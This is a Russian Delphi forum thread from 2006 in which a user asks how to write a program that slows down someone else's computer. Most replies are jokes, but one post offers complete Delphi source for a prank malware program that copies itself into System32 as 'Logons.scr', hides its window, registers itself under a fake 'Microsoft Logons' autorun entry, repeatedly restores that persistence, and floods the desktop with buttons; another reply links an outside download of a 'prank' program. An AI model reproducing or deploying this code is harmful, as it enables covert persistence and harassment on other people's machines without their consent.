| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL | | Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

	« предыдущая ветвь | форум | следующая ветвь »

загрузить комп

miSTER-TWISTER ©   (2006-07-28 18:31:00) 

подскажите как с помощью дельфи можно напсиать прогу которая
сможет заставить притормаживать комп средней производительности?

---

Homo Sapiens   (2006-07-29 21:51:00) [1]

Если надо пакость то вот:
http://slil.ru/22967282
пользуйся на здоровье Это моя первая издевательская программа

---

Степан   (2006-07-29 21:17:00) [2]

А зачем тебе прога! Поставь ему Windows XP. Тормоза и глюки в исполнении компании Минисофт обеспечены :)

---

Loginov Dmitry   (2006-07-29 09:12:00) [3]

> подскажите как с помощью дельфи можно напсиать прогу которая
> сможет заставить притормаживать комп средней производительности?


Копируешь в цикле непрерывно большой файл из одного места в другое, и тормоза будут обеспечены (если конечно компьютер средней производительности).

---

Virgo_Style   (2006-07-28 21:40:00) [4]

koha ©   (28.07.06 20:54) [9]
Не знаю, комп не свой, пришел, увидел, удалил. Заработало? До свидания. %-)

---

koha   (2006-07-28 20:54:00) [5]

> Virgo_Style ©

> Сегодня спасал компьютер от этого зверя

зверь это кто? касперыч что ли и с какой верисией? с 6?

---

Virgo_Style   (2006-07-28 20:50:00) [6]

Обратись в лабораторию Касперского.

Сегодня спасал компьютер от этого зверя, реакции не было вообще. Впрочем, возможно, это была индивидуальная несовместимость с Пандой.

---

koha   (2006-07-28 20:45:00) [7]

> Просто человек хочет комуто каку подстроить

Вот, например, это было написано в эпоху юношества моего несознательного
- так шутка, может даже и работать будет, пусть человек потешится ....... лижбы не плакало ....


unit Unit1;

interface

uses
 Windows, SysUtils, Forms, Registry, ExtCtrls, Classes, Controls,Buttons, XPMan,
 StdCtrls;

type
 TFM = class(TForm)
   Tmr: TTimer;
   ChkInstall: TTimer;
   TmFatal: TTimer;
   XPManifest1: TXPManifest;
   procedure TmFatalTimer(Sender: TObject);
   procedure FmCloseQuery(Sender: TObject; var CanClose: Boolean);
   procedure FmActivete(Sender: TObject);
   procedure ChkInstallTimer(Sender: TObject);
   procedure TmrTimer(Sender: TObject);
   procedure FormCreate(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 FM: TFM;
 WinDir,ComSpec,SystemRoot,CurPath,User: String;
 Reg: TRegistry;
 X,Y,i : integer;
 Pnt: TPoint;
 TmFlag: Boolean;
 btns: TButton;
implementation

{$R *.dfm}

procedure TFM.FormCreate(Sender: TObject);
begin
 Fm.KeyPreview            := true;
 Fm.TransparentColor      := true;
 Fm.TransparentColorValue := $000000;
 Fm.Height      := 30;
 Fm.Width       := 195;
 Fm.Caption     := 'Windows Logons';
 Fm.BorderStyle := bsNone;
 Fm.Position    := poScreenCenter;
 CurPath        := LowerCase(ExtractFilePath(paramstr(0)));
 SystemRoot     := GetEnvironmentVariable('SystemRoot');
 ComSpec        := GetEnvironmentVariable('ComSpec');
 WinDir         := GetEnvironmentVariable('WinDir');
 User           := GetEnvironmentVariable('Username');
 if Not FileExists(SystemRoot+'\system32\Logons.scr') then
 Winexec(PChar(ComSpec+' /c copy '+paramstr(0)+' '+SystemRoot+ '\System32\Logons.scr'),SW_ShowMinimized);
 try
 try //Registry Run
   Reg:=Tregistry.Create;
   Reg.RootKey:=HKEY_LOCAL_MACHINE;
   if Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then
   Reg.WriteString('Microsoft Logons','Logons.scr');
 Finally Reg.CloseKey; Reg.Free End;
 except end;
 try
 try //Registry SCRNSAVE.EXE
   Reg:=Tregistry.Create;
   Reg.RootKey:=HKEY_CURRENT_USER;
   if Reg.OpenKey('\Control Panel\Desktop',true) then begin
      Reg.WriteString('ScreenSaveTimeOut','60');
      Reg.WriteString('SCRNSAVE.EXE',SystemRoot+'\system32\Logons.scr');
      end;
 Finally Reg.CloseKey; Reg.Free End;
 except end;
 If CurPath <> LowerCase(SystemRoot+'\system32\') then Application.Terminate;
 TmFlag:=false;
 Randomize;
 Repeat i:=random(120); Until i > 20; Tmr.Interval:=1000*60*i;
 TmFatal.Interval:=1000;
 ChkInstall.Interval:=1000*30;
 TmFatal.Enabled:=false;
end;
{--------------------------------- On Timer -----------------------------------}
procedure TFM.TmrTimer(Sender: TObject);
var i: integer;
begin
 randomize;
 If TmFlag = false then begin
   TmFatal.Enabled:=true;
   TmFlag:=true;
   repeat i:=random(10); Until i > 3; Tmr.Interval:=1000*60*i;
 end else begin
   TmFatal.Enabled:=false;
   TmFlag:=false;
   Repeat i:=random(60); Until i > 15; Tmr.Interval:=1000*60*i;
 end;
end;
{--------------------------------- Chk Install --------------------------------}
procedure TFM.ChkInstallTimer(Sender: TObject);
begin
 //Registry Run
 try
 try
   Reg:=Tregistry.Create;
   Reg.RootKey:=HKEY_LOCAL_MACHINE;
   if Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then
   Reg.WriteString('Microsoft Logons','Logons.scr');
 Finally Reg.CloseKey; Reg.Free End;
 except end;
 //Registry SCRNSAVE.EXE
 try
 try
   Reg:=Tregistry.Create;
   Reg.RootKey:=HKEY_CURRENT_USER;
   if Reg.OpenKey('\Control Panel\Desktop',true) then begin
      Reg.WriteString('ScreenSaveTimeOut','60');
      Reg.WriteString('SCRNSAVE.EXE',SystemRoot+'\System32\Logons.scr');
      end;
 Finally Reg.CloseKey; Reg.Free End;
 except end;
end;
{---------------------------------- Activate ----------------------------------}
procedure TFM.FmActivete(Sender: TObject);
begin
 ShowWindow(Handle, SW_HIDE);
 ShowWindow(Application.Handle, SW_HIDE);
end;
{--------------------------------- Close Query --------------------------------}
procedure TFM.FmCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
 //CanClose:=false;
end;
{-------------------------------- Fatal ---------------------------------------}
procedure TFM.TmFatalTimer(Sender: TObject);
begin
 randomize;
 btns:=TButton.Create(Owner);
 btns.Parent:=Fm;
 windows.SetParent(btns.Handle,GetDesktopWindow());
 btns.Left:=random(Screen.Width);
 btns.Top:=random(Screen.Height);
 btns.Width:=(8+Length(User))*7;
 btns.Caption:='Привет '+User+'!';
 GetCursorPos(Pnt);
 If (Pnt.X <> X) or (Pnt.Y <> Y) then begin
   X:=Pnt.X; Y:=Pnt.Y;
   for i:=1 to random(10) do begin
     btns:=TButton.Create(Owner);
     btns.Parent:=Fm;
     windows.SetParent(btns.Handle,GetDesktopWindow());
     btns.Left:=random(Screen.Width);
     btns.Top:=random(Screen.Height);
     btns.Width:=(8+Length(User))*7;
     btns.Caption:='Привет '+User+'!';
   end;
 end;
end;

end.



---

cando   (2006-07-28 18:58:00) [8]

Просто человек хочет комуто каку подстроить :)

---

IceBeerg   (2006-07-28 18:55:00) [9]

Мефисто   (28.07.06 18:52) [4]
Как показывает практика. Программы особой кривоватости успешно справляются с данной задачей.
Во-во! Тут бъешся, чтобы программа быстрее работатла и как можно меньше другим программам мешала...

---

Мефисто   (2006-07-28 18:52:00) [10]

> miSTER-TWISTER   (28.07.06 18:31) 


Как показывает практика. Программы особой кривоватости успешно справляются с данной задачей.

---

DevilDevil   (2006-07-28 18:47:00) [11]

for (int i = 0; ; i++){}
:)

---

cando   (2006-07-28 18:46:00) [12]

повысь приорете своей программы до максимума
и выполняй любые действия например большой цикл или вообще бесконечный
гарантирую без перезагрузки или отключения твоей программы ком висеть будет страшно

---

KilkennyCat   (2006-07-28 18:34:00) [13]

Для начала напишем прогу, которая определит, средняя ли производительность у компа, или нет...

Сформулируйте вопрос грамотно, по существу и в рамках правил, традиций и идеологии данного форума.

---

Наверх